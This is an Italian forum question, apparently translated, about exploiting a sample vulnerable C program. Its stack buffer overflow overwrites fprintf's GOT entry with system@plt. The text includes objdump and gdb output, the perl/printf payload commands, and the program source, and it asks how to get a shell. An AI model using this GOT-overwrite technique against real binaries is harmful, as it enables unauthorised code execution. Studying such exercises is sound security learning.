Qui sotto è objdump output di un programma C (codice sorgente in fondo a questo post) dove sto facendo overflow del buffer per sovrascrivere la voce della tabella offset di gruppo (GOT):
-$ objdump -R ./vuln
./vuln: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049944 R_386_GLOB_DAT __gmon_start__
08049980 R_386_COPY stderr
#note the adress of stdout below
080499a0 R_386_COPY stdout
08049954 R_386_JUMP_SLOT printf
08049958 R_386_JUMP_SLOT fwrite
0804995c R_386_JUMP_SLOT strcpy
08049960 R_386_JUMP_SLOT system
08049964 R_386_JUMP_SLOT __gmon_start__
08049968 R_386_JUMP_SLOT exit
0804996c R_386_JUMP_SLOT strlen
08049970 R_386_JUMP_SLOT __libc_start_main
#note the adress of fprintf below
08049974 R_386_JUMP_SLOT fprintf
-$
Indirizzo di system() , da gdb:
(gdb) p system
$3 = {<text variable, no debug info>} 0x8048410 <system@plt>
(gdb)
Sono in grado di chiamare system() anziché fprintf() scrivendo 0x8048410 in 0x8049974 fornendo l'input come di seguito.
-$ ./vuln 'perl -e 'print "A" x 128'''printf "\x74\x99\x04\x08"' 'printf "\x10\x84\x04\x08"'
hello
sh: 1: �*��: not found
-$
Sopra l'input lavorato e system() è stato chiamato anziché fprintf() , come si può vedere nell'output precedente. Ma sembra che /bin/sh abbia cercato di eseguire il comando situato in stdout che non è stato in grado di capire ( sh: 1: �*��: not found ).
Possiamo vedere dall'output objdump sopra quell'indirizzo di stdout è 0x80499a0 . Questo indirizzo è a 44 byte di distanza da 0x8049974 .
Ricorda che sto copiando 0x8048410 su 0x8049974 .
Così ho pensato, dopo 0x8048410 , posso dare 40 caratteri casuali e poi /bin/sh in modo che /bin/sh venga copiato in 0x80499a0 (indirizzo di stdout ). Quindi quando system(stdout, "%s\n", buffer); viene generata una nuova shell.
Dopo aver fatto ciò, l'errore di shell è scomparso (cioè non ottengo sh: 1: �*��: not found ), ma non sembra che nient'altro accada e la nuova shell non viene spawnata.
-$ ./vuln 'perl -e 'print "A" x 128'''printf "\x74\x99\x04\x08"' 'printf "\x10\x84\x04\x08"''perl -e 'print "a"x40 . "/bin/sh"''
hello
-$
Quindi il riepilogo è:
Sono in grado di chiamare system() anziché fprintf() sovrascrivendo le voci GOT e non ho alcun problema in questa parte.
Ma una volta chiamato system() , il mio problema è (stdout, "%s\n", buffer) , a causa del quale (suppongo) system() (e di conseguenza /bin/sh ) sta cercando di eseguire un comando il cui nome è puntato da stdout .
Come ho detto, ho provato scrivendo /bin/sh dopo 44 byte dopo 0x8049974 ma non sembra accadere nulla.
Sono in grado di chiamare system(stdout, "%s\n", buffer) anziché fprintf(stdout, "%s\n", buffer) sovrascrivendo la voce GOT. Ma non sono in grado di generare una shell con questo comando di sistema. Come posso indirizzare stdout a /bin/sh . Ho l'indirizzo (0x80499a0) a cui stdout punta (dall'uscita objdump).
Di seguito è riportato il codice sorgente del programma che sto tentando di sfruttare
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main(int argc, char **argv)
{
char *p;
char buffer[128];
if (argc != 3) {
fprintf(stderr, "enter two strings that need to be concatenated\n");
return 1;
}
system("echo hello");
/* concatenate two input strings, and print them out together */
p = buffer + strlen(argv[1]);
strcpy(buffer, argv[1]);
strcpy(p, argv[2]);
fprintf(stdout, "%s\n", buffer);
exit(0);
}